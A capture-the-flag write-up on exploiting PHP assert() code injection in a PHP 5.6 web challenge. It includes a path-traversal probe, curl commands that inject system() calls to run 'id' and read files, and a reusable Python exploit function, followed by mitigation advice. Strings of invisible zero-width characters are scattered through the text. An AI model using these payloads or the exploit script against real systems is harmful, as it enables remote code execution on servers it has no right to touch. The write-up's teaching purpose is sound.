← Back to Writeups
CUSTOMMediumWeb

Старая версия (Old Version)

XESXOR9/2/20263 min read
#web#custom#medium#lfi-to-rce-escalation#php-assert()-code-injection-(p#string-argument-evaluation-exp

Старая версия (Old Version)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: LFI to RCE escalation, PHP assert() code injection (PHP < 7.0), String argument evaluation exploitation

Summary

Walkthrough of the CUSTOM Web Старая версия (Old Version). Task: Web challenge with PHP page parameter and old PHP version. Solution: Exploit PHP assert() code injection vulnerability in PHP < 7.0 where string arguments are evaluated as code, achieving RCE.

Description

"Лишь одна функция может поломать абсолютно всю веб-сайта..." (Only one function can break the entire website...)

Target: http://62.173.140.174:16070/

Reconnaissance

Server Fingerprinting

Server: Apache/2.4.25 (Debian)
PHP Version: 5.6.40 (EOL since December 2018!)

Navigation Discovery

  • ?page=about - About page
  • ?page=service - Service page
  • Standard page parameter for file inclusion

Vulnerability Analysis

LFI Testing

Tested path traversal:

?page=../../../etc/passwd

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Error Disclosure

Server returned revealing error:

Warning: assert(): Assertion "strpos('templates/../../../etc/passwd.php', '..') === false" failed in /var/www/html/index.php on line 10

Key discovery: The assert() function is used for path validation!

Vulnerable Code (index.php)

php
<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    include("templates/index.html");
}

$file = "templates/" . $page . ".php";
if (assert("strpos('$file', '..') === false")) {
    include($file);
} else {
    die("Not today!");
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

// FLAG CODEBY{REDACTED}
?>

Exploitation

PHP assert() Vulnerability

In PHP versions before 7.0, the assert() function evaluates string arguments as PHP code. This is a critical security issue when user input is concatenated into the assertion string.

Attack Vector

The page parameter is directly concatenated into the assert string:

php
assert("strpos('templates/" . $page . ".php', '..') === false")

Payload Construction

Inject PHP code by breaking out of the string context: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

?page='.system('cat /var/www/html/index.php').'x

This transforms the assert into:

php
assert("strpos('templates/'.system('cat /var/www/html/index.php').'x.php', '..') === false")

The system() function executes before strpos() is evaluated!

Proof of RCE

bash
curl "http://62.173.140.174:16070/?page='.system('id').'x"

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Flag Extraction

Read the source code where the flag was hidden in a comment:

bash
curl "http://62.173.140.174:16070/?page='.system('cat%20/var/www/html/index.php').'x"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution (Python)

python
#!/usr/bin/env python3
"""
HackerLab - Old Version
PHP assert() code injection (PHP < 7.0)
"""

import requests
from urllib.parse import quote

URL = "http://62.173.140.174:16070/"

def exploit(cmd):
    """Execute command via assert() injection"""
    # Payload: '.system('cmd').'x
    payload = f"'.system('{cmd}').'x"
    
    response = requests.get(URL, params={'page': payload})
    return response.text

# Execute commands
print("[*] Testing RCE...")
print(exploit("id"))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print("\n[*] Reading index.php...")
print(exploit("cat /var/www/html/index.php"))

Technical Explanation

Why assert() is dangerous in PHP < 7.0

  1. String evaluation: assert("expression") evaluates the string as PHP code
  2. No sandboxing: Full PHP execution context available
  3. Deprecated behavior: PHP 7.0+ treats string assertions as expressions, not code

PHP Version Timeline

  • PHP 5.6: Last PHP 5.x version, EOL December 2018
  • PHP 7.0: Changed assert() behavior (no string evaluation by default)
  • PHP 7.2: Deprecated string assertions entirely
  • PHP 8.0: Removed string assertion support ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Mitigation

php
// WRONG (vulnerable in PHP < 7.0)
assert("strpos('$file', '..') === false");

// CORRECT (safe in all versions)
assert(strpos($file, '..') === false);

// BETTER (use proper validation)
if (strpos($file, '..') !== false) {
    die("Invalid path");
}

Lessons

  1. Check PHP version - Old PHP versions have many deprecated dangerous features
  2. assert() is not for security - Never use assert() for input validation
  3. Error messages leak info - The error revealed the exact vulnerability
  4. "One function" - Task description was a direct hint about assert() ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References

Key Takeaways / Lessons

  • Mastering LFI to RCE escalation, PHP assert() code injection (PHP < 7.0), String argument evaluation exploitation was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Старая версия (Old Version) • Difficulty: Medium